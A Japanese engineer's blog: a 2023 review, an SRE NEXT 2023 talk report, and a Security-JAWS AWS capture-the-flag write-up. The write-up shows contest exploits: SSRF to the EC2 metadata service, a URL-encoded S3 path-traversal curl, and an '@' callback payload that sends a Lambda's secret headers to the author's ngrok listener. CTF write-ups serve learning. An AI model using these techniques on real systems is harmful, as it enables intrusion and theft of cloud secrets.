2023年振り返り

はじめに

Factorioで貴重な年末を溶かしています。エンジニアのryukeと申します。 Twitterのみなさんの振り返り記事に触発され、初めての試みではありますが2023年の振り返りを書いてみたいと思います。

転職

2023年1月づけで前職のメルカリを退職し、CloudbaseというスタートアップにJOINしました。1月頭から働き始めたので、今日が終わればちょうど丸一年ということになります。

note.com

記事の中にも書いていますが、転職理由は決してネガティブなものではありません。メルカリの業務の中でCI/CDまわりのセキュリティに触れさせてもらう中でクラウドセキュリティという領域の面白さ・可能性を知り、技術で勝負できるこの分野でサービスを1から作り上げるということに挑戦してみたいと思ったのが最終的な決め手でした。メルカリに在籍していたのは9ヶ月と短い間でしたが今に繋がっているたくさんの学びがあり、本当に感謝しています。

Cloudbaseでは今年1年も目まぐるしい変化がありました。僕がJOINした時から人数は2倍以上に増え、リファラルの同世代が多かった環境からメンバーの多様性も広がり組織としての厚みが出てきていると感じます。オフィスも来月に70人規模のワンフロアに移転することになり、いよいよ会社らしくなってきました。


一瞬だけ宣伝:オフィスの移転に伴い、2024/01/19(金)に記念パーティを開催することになりました!ご興味ある方はぜひ気軽にご連絡ください!!

levetty.notion.site


サービスの伸びも好調で、利用量が増えるに従って徐々にシステムの課題が浮き彫りになりつつあります。エンジニアとしては考えることが尽きない毎日で本当に楽しいです。

加速する成長の中で、急拡大する組織・サービスに耐えながらいかに品質とスピードを保ち続けることができるか。来年は会社にとっても自分にとっても大きな勝負・挑戦の1年になりそうです。

コミュニティ

今年は新しい挑戦として技術コミュニティのイベントへの積極的な参加にチャレンジしました。SRE・DevOps・Platformの分野を中心に活動していました。

イベントLT

5/18 LLM Meetup Tokyo #2

speakerdeck.com

8/28 ゆるSRE勉強会 #1

speakerdeck.com

10/20 はじめまして!若手エンジニアふんわりLT Night!

speakerdeck.com

10/25 Datadog Japan Meetup 2023 Fall

speakerdeck.com

11/21 技術的負債に向き合う Online Conference

speakerdeck.com

ブログ

Datadog Advent Calendar 2023

qiita.com

Platform Engineering Advent Calendar 2023

qiita.com

qiita.com

元々人前で喋るのも記事を書いて何かを発信するのも得意ではないのですが、荒療治的に数をこなすことで徐々に苦手意識を克服できるようになってきている気がします。何より、新参者でも快く迎え入れてくれるコミュニティのみなさんの暖かさ、コミュニティに参加することの楽しさを知れたのが今年一番の収穫でした。

振り返ると今年はLTばかりだったので、来年はCFPを通して15分以上のトークをする、というのを目標にします。SRE NEXTとか狙っていきたいです。

また、繋がりを増やすためにもイベント運営にも飛び込んでみたいです。自社オフィスでも開催できるといいなあ〜〜

読書

外部発信を増やしていく中で、改めて自分の中での体系的な知識の不足に気付かされ、読書の時間を意識的に確保してインプットを増やしました。

2023年に読んだ本の一覧です↓*1

DevOps / SRE / Architect

  • Team Topologies
  • LeanとDevOpsの科学
  • オブザーバビリティエンジニアリング
  • モノリスからマイクロサービスへ ―モノリスを進化させる実践移行ガイド

技術系その他

マネジメント・リーダーシップ

  • 1分で話せ 世界のトップが絶賛した大事なことだけシンプルに伝える技術
  • 人を動かす
  • HIGH OUTPUT MANAGEMENT
  • Empowered

組織

  • Measure What Matters 伝説のベンチャー投資家がGoogleに教えた成功手法 OKR
  • GitLabに学ぶ 世界最先端のリモート組織のつくりかた
  • Leading Quality
  • 成長する組織

思考法

  • Issueから始めよ
  • 外資系コンサルの知的生産術
  • 最強の教養 不確実性超入門
  • 確率思考 不確かな未来から利益を生みだす
  • 世界はシステムで動く - 今起きていることの本質を掴む考え方

読書もこれまであまり習慣化できていなかったのですが、本で得た知識を業務で実践するサイクルを回す中で、「新しい視点を身につけるとこんなにものの見え方が変わるのか」と、知識の力に改めて感動し、今ではすっかり活字中毒になってしまいました。これも今年一年の大きな変化だなーと思います。今後も業務を学習の場として色んな知識を実践していきたいです。

スタートアップなので今後の組織のあり方について考えることが多く、組織やマネジメントの本が多くなりました。特にTeam Topologiesは今更ながら読みましたが、改めて「システム設計と組織設計を切り離して考えることはできない」というアイデア目から鱗で、自分のエンジニアリング観を形成する柱の1つになりました。

とはいえエンジニアなので、より技術に踏み込んだ本も増やしていかないとなーと思っています。特にSRE周り。SLO本、Google SRE本、データ指向アプリケーションデザインは来年の必読書とします。

LLM

趣味兼研究開発としてLLMの技術に触れ続けることを目標にしていましたが、業務とインプットで手を動かす時間を取れずで終わってしまいました。時代に置いていかれる恐怖と戦う毎日です。

エージェント、特に生活をアシストしてくれるパーソナルアシスタントに興味があり、こんなものを作ったりしていましたが、まだ実用できるクオリティには至っていません。やはり応答速度と実効精度(特に、日本語の入力が絡むもの)が難しいですね...

github.com

github.com

スピードが早すぎて、来年が終わる頃に世界がどうなっているのかは全く分かりませんが、せめて最新のトレンドは把握できているよう必死に食らいついていこうと思います。

おまけ

岐阜の日本一高いバンジージャンプ(215m)を飛びました。怖すぎて本当に絶望しましたが終わってみれば楽しかった気がするのが不思議です。

人間、やるしかないという覚悟さえあれば何とかなるんだなというのが学びでした。ありきたりですが、何事もあれこれ悩む前に飛び込んでみるのが一番ですね。

橋の真ん中から215m下の渓谷に向けて真っ逆さまに落ちる

来年の目標

こんな感じでやっていこうと思います。

  • 意識
    • 多角的な視点を持つ
    • 人を巻き込んで大事を為す
    • 学習のループを繋げる
  • コミュニティ
    • CFPを通し、15分以上のトークを1本以上行う
    • コミュニティのイベント運営に1件以上参加する
    • オフィスで技術イベントを3回以上開催する
  • 読書
    • 年間30冊以上、うち技術書10冊以上
    • SLO本、Google SRE本、データ指向アプリケーションデザイン
  • LLM
    • 継続的な業務へのLLM導入事例を作る
    • パーソナルアシスタントを日常生活で実運用する

最後にご挨拶

本年も大変多くの方にお世話になりました。来年も変わらぬお付き合いをどうぞよろしくお願い申し上げます。

ryuke

*1:Notionではじめるライフハックのススメで紹介したNotion DBを活用して簡単にリストアップできました。便利

SRE NEXT 2023 参加記

SREに関する国内最大級カンファレンスであるSRE NEXTに参加してきました!

SRE NEXT とは

Home | SRE NEXT 2023

SRE NEXTとは

信頼性に関するプラクティスに深い関心を持つエンジニアのためのカンファレンスです。 同じくコミュニティベースのSRE勉強会である「SRE Lounge」のメンバーが中心となり運営・開催されます。 SRE NEXT 2023は「Interactivity」「Diversity」「Empathy」という3つの価値観を掲げ、「双方向性のある意見交換の場にすること」「スタートアップから大企業まで、幅広い業種・領域・フェーズでのSRE Practice の実践を集約すること」「ビジネスサイド含めSRE以外の職責も含めて裾野を広げること」を意識して運営していき、より多様なSREの実践が普及することを目指します。

今回はハイブリッド形式、オフラインの会場は九段会館テラスで開催されました。自分は初めて行ったのですが建物が国会議事堂から突如生えてきたオフィスビルみたいでなんかすごかったです。(小学生)

九段下会館テラスイメージ図(公式HPより)

印象に残ったトーク

印象に残ったトークをいくつか紹介していきます。

勘に頼らず原因を⾒つけるためのオブザーバビリティ

by SanSan株式会社 じょーし (@paper2parasol) さん

speakerdeck.com

  • 定義
    • オブザーバビリティとは:システムの出力を調査することによって内部の状態を測定する能力
    • オブザーバビリティが高い状況とは:ソフトウェアシステムのどんな状態でも、どんなに斬新で奇妙な問題でもデバッグして正しい原因を素早く見つけられる状況
    • オブザーバビリティが低い状況とは:長く在籍するベテランが勘と経験に頼ったデバッグをしている
  • オブザーバビリティを支えるPrimary Signals
    • メトリクス:システムのハイレベルな概要を示すが、必ずしも根本原因を明らかにするわけではない
    • ログ:根本原因を特定する情報が含まれる可能性が高いが、情報量が多く絞り込みが必要
    • トレース:特定のリクエストがシステムを通過する流れを可視化し、関連するログを絞り込む
  • 理想的なデバッグ:ドリルダウン探索
    • 原因が潜む範囲を狭めつつ、全体から細部へドリルダウンを繰り返しながら的確に原因を特定していく
    • 勘と経験に頼った探索の問題点である「複合要因の見逃し」と「思い込みによる調査の難航」を防止
    • Bill Oneでは、APM製品(サービスマップ・トレーシング)の導入により問題の特定能力を向上

オブザーバビリティの体系的な定義から始まり、理想な形のシステム調査を示した上で実際の取り組むを紹介するというプレゼン全体の流れがとてもまとまっていて分かりやすかったです。これまでログとメトリクスしか意識できていなかったのですがトレースの重要性を改めて認識することができました。

SREを以てセキュリティエンジニアリングを制す ― class Dev"Sec"Opsの実装に向けて

by 株式会社Flatt Security 米内 貴志 (@lmt_swallow) さん

  • ReliabilityとSecurityは多くの点で類似点がある
    • システムのライフサイクルに必要不可欠であり、設計段階での考慮が必要
    • 問題が起きないとコストをかけにくく、問題が起きて初めて深刻になる
    • SREのプラクティスをセキュリティにも活用できないか?
  • よくあるセキュリティスコアをSLI (Security Level Indicator) に置く問題点
    • 範囲が不明瞭・不十分だとアクションに繋がらない
    • 重大さがわからないと使いにくい(この値がどうだったら問題あり、と言えるのか)
    • 割合を計算する指標は、特定のリスクの発生をぼかしてしまう
  • 守りたいものと脅威を元に、何を計測するか決める
    • プロダクトが持つ重要な資産と、それを取り巻く環境、環境内の脅威と考えうる脆弱性
    • それを元に、どのレイヤーの何を見るとリスクが洗い出せるのかを考える
    • システムによる差異はあるものの、クラウドネイティブなシステムでは大まかな類型が適用できる(→CSPM)
  • リスクをレベル分けして、レベル帯ごとにアプローチを変える
    • Critical
      • 侵害を起こしうるリスク・最重要な管理権限の保護不足
      • エラーバジェット = 0、全て即時に対応する
    • High / Medium
      • アタックサーフェースを作っている、侵害経路は不明確だが侵害時の影響が大きい
      • エラーバジェットでアジリティとのバランスを取りつつ管理していく
    • Low / Info
      • 影響は軽微・意図した設定
      • 教育等に活用

ReliabilityとSecurityの類推から始まりSREのアプローチを転用できないかという着眼点の面白さや、思考実験によって指標に求められる要件を整理して落とし所を探っていくアプローチの上手さがさすがだなと思いました。近年クラウドの普及に伴ってシフトレフトやゼロタッチプロダクションなどがますます注目を集めていることを踏まえると、今後もセキュリティを絡めたSREの話題は増えていきそうですね。

Yahoo!ショッピング商品管理システムにおける、問い合わせ駆動の信頼性向上の取り組み

by ヤフー株式会社 吉冨 優太 (@tomi_bonobo) さん

  • 不具合の疑いがある問い合わせでも、未解決のまま返答するケースがあった
    • ヘルプデスク -> システム企画 -> 問い合わせエンジニア という体制
    • 開発エンジニアが不具合疑いの問い合わせを把握していなかった
    • 問い合わせエンジニアが調査に時間を取られ、開発者に連携していなかった
  • 問題に逐次対応しながら、問い合わせ対応のプロセスを改善していく
    • 問い合わせエンジニアと開発エンジニアの連携の不足 -> 各役割が取るべき問い合わせ内容を決めて振り分けルールを作成
    • 問い合わせ経路・内容がバラバラで、解決までにかかる日数がまちまち -> 経路をSREで集約して全問い合わせの状況を誰でも確認可能に
    • エンジニアからヘルプデスクへの追加情報の確認作業がしばしば発生 -> 問い合わせチケットのフォーマットを統一
    • エンジニアの調査の内容がシステム企画の認識とずれていてやり直しが発生 -> 個別の問い合わせ以外で定期的に会話する場の整備
  • 問い合わせ駆動の信頼性向上
    • 問い合わせ業務フローの整備によってSRE/開発がお客様の声をチケットとして蓄積
    • 問い合わせチケットの蓄積/分析によって、お客様の声を反映した優先度で不具合を修正・信頼性を向上していけるようになった

問い合わせ対応という一見遠そうに見える業務の改善にSREがコミットしてプロダクトの信頼性を向上していくという取り組みが素敵だなと感じました。またその改善策は一つ一つの問題に向き合った地道なものではありつつも、目的と手法、検証までがセットになったデータドリブンなアプローチに基づいていて着実に成果を生んでいるところが印象的でした。取り上げられていた問題もどれも身近なものですぐに業務に活かせるヒントも多かったです。

会場の様子

会場内にはスポンサーブースや参加者アンケートなどセッションの他にも楽しめる展示が充実していました。

記念グッズ [GET /bug: 503 Service Unavailable]

参加者アンケートの様子

スポンサーブース(New Relicさん)。ニャリック人形かわいい

会場内のオライリーさんブースで書籍が全品20%引きで販売されており、思わずその場で購入

なんかいい感じの屋上スペース

感想

今回初めて参加しましたが、 充実したセッションでSREにまつわる幅広いトピックに触れることができて大変楽しめました。また知識不足なところも改めて明らかにできたのでとても勉強のモチベーションになりました。とりあえずSRE本読まないとですね...

残念ながらチケットの購入が遅く懇親会に参加できなかったのが心残りですが、来年ぜひリベンジしたいと思います。

トーク資料について

多くのスピーカーの方が資料をアップロードしてくださっているので、復習&見れなかったトークのキャッチアップにぜひ活用しましょう!

SRE Next 2023 資料一覧 by @tessy さん

mixolydian-toy-7cb.notion.site

Security-JAWS #30 CTF に参加しました

イベントについて

s-jaws.doorkeeper.jp

Security-JAWSは、AWS+Securityをコンセプトに立ち上げられた勉強会で、3ヶ月に1回のペースで定期的にイベントが開催されています。 今回は節目の30回目ということで8/26-27の2日間開催となっており、Day1はカンファレンスデイ、Day2はCTFデイという形で行われました。

自分は1日目はリモート、2日目はオフラインで参加しました。

競技形式

競技時間は5時間で、与えられた問題をひたすら解いて一番多くポイントを稼いだ人が勝ちというシンプルなルールです。

普段のCTFだとPwnやCryptoといったように必要な知識や技術ごとにカテゴリ分けされているらしいですが、今回はAWS向けのCTFということで難易度ごとに問題が分かれていました。

  • Trivia: 10pt * 13問
  • Warmup: 50pt * 6問
  • Easy: 100pt * 4問
  • Medium: 200pt * 5問
  • Hard: 300pt * 2問

Triviaのみクイズ形式で問題の解答を入力する形式、他は与えられたAWSのクレデンシャルやログイン情報、Webページなどを起点に隠されたフラグ SJWAS{****} を見つけるものとなっていました。

結果

Trivia 13問、Warmup 6問、Easy 3問、Medium 1問の計930ptで全体では9位でした。

1000pt行きたかったなぁと思いつつ、表彰対象のトップ3の方は1380pt以上だったので次元が違いました。。。

解いた問題

基本に忠実に、とりあえず簡単な方から埋めていくことにしました。

()は競技時間内のどの時間帯で解いたかを表しています。

Trivia

(0:00〜0:10)

調べたら答えが出てくるようにはなっていましたが、調べ方を工夫しないと答えに辿り着けないものも多くて面白かったです。

  1. Security-JAWS#01の開催年月日はいつでしょうか?

例えば1問目のこの問題だと、単に「Security-JAWS #01 開催日」と調べるだけでは全然該当のものがヒットせず苦戦しました。最終的には今回のイベントにも使われていたDoorKeeperのページでSecurity-JAWSのホームに行き、過去のイベント履歴の一番はじめに行くことで答えを見つけることができました。

s-jaws.doorkeeper.jp

こんな感じでひたすら埋めていき、パッと調べてわからなかった2問を飛ばしてWarmupに移りました。(残りの2問は後で気分転換ついでに埋めました)

Warmup

入門編という位置付けでしたが、普通に苦戦しました笑

AWS CLI practice

(0:10〜0:12)

このAWSユーザー(シークレットキー+アクセスキー)が所属するAWSアカウントIDは何?

与えられたAWSクレデンシャルが紐づくAWSアカウントIDを特定する問題。

自身のIAMエンティティを取得する get-caller-identity というAWS CLIのコマンドがあるのは知っていたので、試してみると目的のアカウントIDが取得できて無事クリア。

$ aws sts get-caller-identity 

{
    "UserId": "AI****",
    "Account": "******",
    "Arn": "arn:aws:iam::******:user/ctf_challenge_0"
}

Show IAM policy

(0:12〜0:20)

このユーザーにアタッチされているポリシーを確認してみよう!Policyドキュメントを注意深くみたらFLAGが隠れているかも。

他にもいくつか問題はありましたがパッとわからずこの問題へ。

AWS CLI practiceと同様AWSクレデンシャルが与えられているのでとりあえずget-caller-identityしてみるもそれ以上の情報はわからず。

問題文にポリシーを調べてみようと書かれているので、IAMユーザーに付与されたポリシーをチェックしてみます。AWSではユーザーへのポリシー付与として

  • ユーザーに紐づく管理ポリシー (list-attached-user-policies)
  • ユーザーのインラインポリシー (list-user-policies, get-user-policy)
  • ユーザーの属するグループに紐づく管理ポリシー (list-attached-group-policies)
  • ユーザーの属するグループのインラインポリシー (list-group-policies, get-group-policy)

の4パターンがあるので、これらのコマンドとlist-groups-for-user, get-policyとかのコマンドを組み合わせながら付与されたポリシーを探していきます。

(参考) smallit.co.jp

{
    "Version": "2012-10-17",
    "Statement": {
        "Sid": "U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99",
        "Effect": "Allow",
        "Action": [
            "iam:Get*",
            "iam:List*"
        ],
        "Resource": [
            "arn:aws:iam::******:group/ctf5",
            "arn:aws:iam::******:user/ctf_challenge_5"
        ]
    }
}

最終的にこんな感じのポリシーを見つけることができました。SidがなんとなくBase64文字列っぽい(エスパー)のでBase64デコードしてみると SJAWS{Do_you-find_the_@ttached_p0l1cy?} という文字列が出てきてフラグ発見!

フラグ文字列が出てきた時の脳汁が気持ち良すぎます。

Where is the password?

(0:20〜0:22)

AWSのとあるサービスからパスワードを取得してください!ヒント:AWSで安全にパスワード管理をしたい時に利用するサービスと言えば?

AWSコンソールへのログイン情報が与えられます。

問題文からKMSを見に行けば良さそうなので、素直に見に行ってみるとシークレットが存在して中身をみるとフラグが。これはサクッと解けました。

Find data 1

(0:22〜0:50)

FLAGはバケツに突っ込んであるので探してね!

上と同様コンソールへのログイン情報が与えられます。

S3のバケットに入っていそうなのでS3のページを見に行くものの、全てのバケットでinsufficient permissionと表示されていてどうすればいいかわからず詰まりました。色々悩んだ末に一つ一つのバケットをクリックしてみると himitsuno-bucket1 だけオブジェクトが表示されてその中に普通にフラグが。バケットの権限はないけどオブジェクトACLでオブジェクトへのアクセスは許可されているみたいな感じなんですかね。(S3の権限回り難しすぎる...)

Find data 2

(0:50〜0:55)

FLAGはバケツに突っ込んであるので探してね!

Find data 1 と全く同じ問題文ですが、今度はコンソールのログイン情報ではなくクレデンシャルが与えられます。

ポリシーまわりは権限不足で見えなかったため、S3コマンドを叩いてみるとバケット一覧が取得できました。どれかのバケットには権限がついているだろうと読んで全てのバケットに対して aws s3 sync を実行。すると himitsuno-bucket2 に対してオブジェクトが取得できました。(ここはFind data 1からの類推でバケット特定できた部分)

ダウンロードされたオブジェクトは1000枚の画像で、パッとみる限り次のような画像しかありません。

ということは1枚だけ当たりの画像があるだろうと読んで、ファイルサイズが違うやつを探しにいきます。

シェル芸力が足りなかったため目grepを実行して次の画像を発見。めでたしめでたし。

Run Function

(1:25〜1:35)

アクセスキーを調べてFLAGを入手せよ!

Warmupの中で一番苦戦した問題です。Easyの問題をいくつか解いた後に戻ってきて解きました。

問題文的にLambdaかな?と思いつつ、関数がわからないので手詰まり。冷静になってShow IAM policyと同様にユーザーの権限を調べてみると、 run_me というLambda関数に対するInvoke権限がついていることがわかりました。

aws lambda invokeで実行してみると、 "Look at the log!" というレスポンスが返ってきます。ログの取得方法を調べて実行してみると無事ログにフラグが出てきてクリアすることができました。

qiita.com

Easy

Easyになるとどれもぱっと見で何をすればいいのかわからず、歯応えのある問題が揃っていました。競技時間の大半はここに費やしました。

Find data 3

(0:55〜1:10)

FLAGはバケツに突っ込んであるので探してね!

Find dataの待望の続編です。

過去2つの類推からさすがに今回は himitsuno-bucket3 だろうと踏んで中身を見に行くと、次のような文字列が。

It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.`

パッとバージョニング関連かな?とエスパーすることができたので list-object-versionsget-object --version-id $VERSION を使って消される前のバージョンのオブジェクトを取得することでフラグを入手することができました。

Get Provision

(1:10〜1:25)

EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せよ! http://gpweb.scjdaysctf2023.net/

問題文のサイトにアクセスしてみるとこんな感じになっていました。

かろうじてCapitalOneの事例は知っていたので、「URL入力 → SSRF → EC2インスタンスメタデータ」という連想でEC2インスタンスメタデータの奪取を試みます。

piyolog.hatenadiary.jp

試しに https://169.254.169.254/latest/instance-id を入れてみるとOutputのところにレスポンスっぽいものが表示されています。あとはこの辺 を見ながら片っ端からメタデータを表示してみます。

インスタンスメタデータとして危ないものといえばIAMまわりということで最初はその辺りを重点的に見ていたのですが、見つからず最終的に user-data を見に行くことでフラグを見つけることができました。 user-dataインスタンスの起動時に実行されるスクリプトで、このようにメタデータサーバーから取得できてしまうので機密情報を入れる場合は注意する必要があります。

u nix Path?

(1:35〜3:40)

ここまできてどの問題も手詰まりになってしまい、2時間以上点数が上がらない闇の時間帯に突入してしまいました。

そんな中で何とか突破口を見つけることができたのがこの問題です。

あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情報を取得してください。

以上のような問題文とともに、添付されているURLを開いてみると次のような画面でいくつかファイルがダウンロードできるようになっています。

README.mdをダウンロードしてみると、「AWS S3のPrefix / KeyとUnixのパスは微妙に仕様が違うよ」といったことが書かれています。どうやらS3では ../ のような文字列をパスに含めることでディレクトリトラバーサル的な攻撃ができてしまうようです。DOCS.mdにはREADMEの内容を補足する参考資料のURLがいくつか記載されています。

そして最後に、index.tsをダウンロードしてみると以下のようなコードが。

const response = (statusCode: number, body: string): APIGatewayProxyResult => {
  return {
    statusCode,
    headers: RESPONSE_HEADERS,
    body,
  };
};

export const handler = async (
  event: APIGatewayProxyEvent,
): Promise<APIGatewayProxyResult> => {
  const { fileId } = event.pathParameters as { fileId: string };

  const decodetFileId = decodeURIComponent(fileId);
  const key = path.normalize(`public/${decodetFileId}`);

  const command = new GetObjectCommand({
    Bucket: process.env.BUCKET_NAME as string,
    Key: key,
  });

  const url = await getSignedUrl(s3, command, { expiresIn: 60 });

  return response(200, JSON.stringify({ url }));
};

先ほどの資料や問題文を合わせると、どうやらこのAPIfileId にいい感じの文字列を入れて key=private/flag にすることができれば、フラグを入手することができそうだとわかります。実際に手元で同じようなコードを動かして試してみると、 ../private/flag をURLエンコードした %2e%2e%2fprivate%2fflag という文字列をfileIdに設定すると、keyが private/flag になってくれることがわかりました。

ではこのAPIはどこで動いているのでしょうか?ここがわからなくて時間を溶かしてしまいましたが、与えられたWebサイトを開発者ツールで開いてネットワークを監視してみると、どうやら先ほどからダウンロードしていたファイル自体が上のAPIを叩くことで取得されていることがわかりました。試しにネットワークに登場したエンドポイントを curl 'https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/README.md' --compressed のようにcurlから叩いてみると、S3の署名つきダウンロードURLっぽいものが返ってきます。

{"url":"https://s3misssignurl-***-bucket.s3.ap-northeast-1.amazonaws.com/public/README.md?X-Amz-Algorithm=AWS4-HMAC-SHA256..."}

ここまで来ればゴールも目前です。これまでの考察を組み合わせて curl 'https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/%2e%2e%2fprivate%2fflag' --compressed を実行すると、目的のキーのオブジェクトの署名URLを取得することができ、ダウンロードすることでフラグを入手することができました。

各所に散らばるヒントを1つ1つ組み合わせながら答えに辿り着く感じがパズルみたいでとても楽しい問題でした。ダウンロードされるファイル自体がそのシステムの説明になっているという自己言及的な要素もお気に入りです。

Recon the website

こちらは最後まで解けませんでしたが、あと一歩のところまで行っていたので考えたことを書きます。

Webサイトを調査してFLAGを入手せよ! http://website.scjdaysctf2023.net/

Webサイトを調査して、と書いてあるのでWebサイトを見てみると、こんな感じの何の変哲もないサイトが表示されています。

サイトのソースコードを調べて何か特定の動作をするとバグを起こせる、とかかなと思ってコードを読んでいましたがそういうわけでもなさそうです。 ReconとのことなのでWhoisとかで調べるとAWS所有のドメインとなっており、AWSの何かしらのサービスでホストされてそうなことがわかります。ソースコードも読んでみると <!-- This website uses some AWS services. --> と書いてありました。

静的WebサイトのホストならS3だろうということで、 http://website.scjdaysctf2023.net/hogehoge という感じで後ろに適当な文字列をつけてアクセスしてみるとS3っぽいXMLで403と言われ、ほぼS3で確定しました。どうやらS3のバケットが意図せず公開されているのでその中のオブジェクトを見に行けば良いということがわかりました。 (この辺はnslookupを使えば簡単にわかったみたいです)

あとは http://s3-ap-northeast-1.amazonaws.com/website.scjdaysctf2023.net を見に行けばXMLバケット内のファイルの一覧を取得できたのですが、「S3バケットをホストする際にバケット名をドメイン名と一致させる必要がある」という仕様を知らず、バケット名を特定するところで途方に暮れてしまいました。こちらの記事 とかを読んで s3recon というパブリックのS3をクローリングしてくるツールをバックグラウンドで競技中ずっと動かしていたのですが、結局見つからないまま競技時間が終わってしまいました。。。無念。

Medium

どれも初心者にはかなり難度の高い問題でしたが、かろうじて1問だけ正答することができました!

Lam Attack

(3:40〜4:40)

皆さんは、社内のログ通知を行う際にLambdaなどを使ったことがあると思います。 ある日、そのようなシステムを管理する社内のGitリポジトリで開発者用のIAMの認証情報が転がっていたのを見かけたあなたは、上長の許可をとって、そのIAMが漏洩してしまった際の脅威を認識してもらうために、侵入テストを行うことになりました。 皆さんの奪取目標はコミュニケーションツールへAlertを通知するためのLambdaに設定されたSecretです。この情報を奪取して、社内に危険度を知らしめてください。 あらかじめ取得している情報:Log集約Endpoint(社内向けサービス)、リクエストの方式、Lambda 関数の名前、認証情報

$ curl https://***.lambda-url.ap-northeast-1.on.aws/ \
  -XPOST \
  -d '{"errorCode":10,"errorMessage": "NG"}' \
  -H "Content-Type: application/json"

開発者向けの認証情報がCI/CDやレポジトリ経由で流出したという想定で攻撃を試みる、という設定の問題です。 他の問題に比べて一番与えられている情報が多く、とっつきやすそうだったのでこの問題を選んでチャレンジしました。

LambdaのGetFunctionが権限として与えられているということで、GetFunctionを使うとLambdaのソースコード(の署名つきURL)を取得できるということは知っていたので、そこから着手しました。

コードのzipをダウンロードして展開すると、 index.js とともに index.js.map というファイルが入っています。中を覗いてみると、index.jsコンパイル前のtypescriptと思しきコード片と、環境情報を表すJSONが入っていました。

export const handler = async (
  event: APIGatewayProxyEventV2
): Promise<APIGatewayProxyResultV2> => {
  if (!event.body) {
    return {
      headers: { "Content-Type": "application/json" },
      statusCode: 400,
      body: JSON.stringify({ message: "Bad Request" }),
    };
  }
  const { errorCode, errorMessage, callbackPath } = JSON.parse(
    event.body || '{ "errorCode": 0,"errorMessage": "Ok", "callbackPath": ""}'
  );

  if (errorCode !== 0) {
    const input: InvokeCommandInput = {
      FunctionName: LamAttackApplicationStack.SendAlertFunctionName,
      InvocationType: "Event",
      Payload: JSON.stringify({
        errorCode: errorCode,
        errorMessage: errorMessage,
        callbackPath: callbackPath || "/",
      }),
    };
    await client.send(new InvokeCommand(input));

    return {
      headers: { "Content-Type": "application/json" },
      statusCode: 200,
      body: JSON.stringify({ message: "received error" }),
    };
  }

  return {
    headers: { "Content-Type": "application/json" },
    statusCode: 200,
    body: JSON.stringify({ message: "OK" }),
  };
};
{
  "LamAttackApplicationStack": {
    "SendAlertFunctionName": "LamAttackApplicationStack-LamAttackSendAlertFuncti-kycxPROq6nty",
    "SendAlertFunctionARN": "arn:aws:lambda:ap-northeast-1:******:function:LamAttackApplicationStack-LamAttackSendAlertFuncti-kycxPROq6nty",
    "InnerLogicFunctionName": "LamAttackApplicationStack-LamAttackInnerLogicFunct-0bi7xD4DiPXY",
    "InnerLogicFunctionARN": "arn:aws:lambda:ap-northeast-1:******:function:LamAttackApplicationStack-LamAttackInnerLogicFunct-0bi7xD4DiPXY",
    "AlertSNS": "arn:aws:sns:ap-northeast-1:******:LamAttackAlertTopic"
  }
}

コードを見ると、中で SendAlertFunctionName のFunctionを叩いているラッパーっぽい挙動をしていることがわかります。 SendAlertFunctionName にあたるARNは環境情報からわかっているので、同様にしてこちらのコードを取得してみます。

export const handler = async (event: {
  errorCode: Number;
  errorMessage: String;
  callbackPath: String;
}) => {
  console.log("event", event);
  if (event.errorCode === 0) return;
  const { errorCode, errorMessage, callbackPath } = event;
  const messageTemplate = `Alertが発生しました。エラーコードは${errorCode}、エラーメッセージは"${errorMessage}"です。担当者のみなさんはご対応お願いします。`;
  const input: PublishInput = {
    TopicArn: LamAttackApplicationStack.AlertSNS,
    Message: JSON.stringify({
      message: messageTemplate,
      callback: `https://******.lambda-url.ap-northeast-1.on.aws${callbackPath}`,
    }),
  };
  await client.send(new PublishCommand(input));
  console.log("send alert");
  return;
};

パッと見通知を行っているだけの単純な処理ですが、 https://******.lambda-url.ap-northeast-1.on.aws${callbackPath} がかなり気になります。SNSの仕様は詳しくありませんでしたが名前から処理完了後にcallbackのURLが呼ばれそうなので、ここをいい感じにいじれば攻撃者サーバーに通信を持ってくることができそうだと考えました。

はじめは https://******.lambda-url.ap-northeast-1.on.awshogehoge.mydomain.dev みたいな感じでトップドメインを書き換えて自分のドメインに引っ張ってくるという方法しか思いつかず、残り1時間くらいしかない中で適当な無料ドメインを取得してサーバー立ててドメイン設定して...みたいなことをしようとしていました。

残り30分くらいでこの方法は時間内には不可能だと思い直し、他の方法がないかを探し始めました。SSRFの文脈でドメインを上書きできる手法があった気がしたので調べていると、 @ を入れることで前半部分がユーザー名扱いになって任意のホスト名に差し替えられることがわかりました。

github.com

そこで手元に適当なローカルサーバーを立ててngrokで公開し、callbackPathに @xxxx.ngrok-free.app を設定することで手元のサーバーに通信を持ってくることを考えました。実際に競技中に立てたGoのサーバーのコードがこちらです。

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "net/http"
)

func helloHandler(w http.ResponseWriter, r *http.Request) {
    b, _ := json.Marshal(r.Header)
    println(string(b))
}

func main() {
    http.HandleFunc("/", helloHandler)
    fmt.Println("Server Start Up........")
    log.Fatal(http.ListenAndServe("localhost:8080", nil))
}

あとは問題文に与えられたLambda関数の実行方法に従い、callbackPathに先ほどの文字列を設定することでリクエストをローカルサーバーに転送することができ、そのヘッダー内にフラグが隠されていました。

$ curl https://***.lambda-url.ap-northeast-1.on.aws/ \
  -XPOST \
  -d '{"errorCode":10,"errorMessage": "NG", "callbackPath": "@xxxx.ngrok-free.app" }' \
  -H "Content-Type: application/json"

実際に自分でサーバーを立てて攻撃対象の通信を持ってくるというところが本当に攻撃者になったような気持ちになれたのがハラハラでめちゃくちゃ楽しかったです!残り時間も切羽詰まった中で最後の最後にコンソールにフラグの文字列が現れた時の快感は今でも忘れられません。。。

感想

めちゃくちゃ楽しかった!!!の一言に尽きます!CTFは興味はありつつも要求される知識の幅が広くてハードルを感じていましたが、今回は普段業務で触っているAWSにまつわる問題だったので気軽にチャレンジすることができ、CTFの楽しさに触れることができました。

改めて楽しいイベントをありがとうございました!次のチャンスがあれば必ずリベンジしたいと思います。

Writeup

今回は自分が解けた問題しか紹介できませんでしたが、他の問題の解説をwriterや参加者の方が書いているのでぜひご覧ください! またflawsというAWSのCTFが体験できるサイトもあるそうなので、興味のある方はぜひチャレンジしてみてください!

www.slideshare.net

Writer

morioka12さん

とある診断員さん

参加者

べこみんさん

rikotekiさん

hamayanhamayanさん

ハマショー2さん

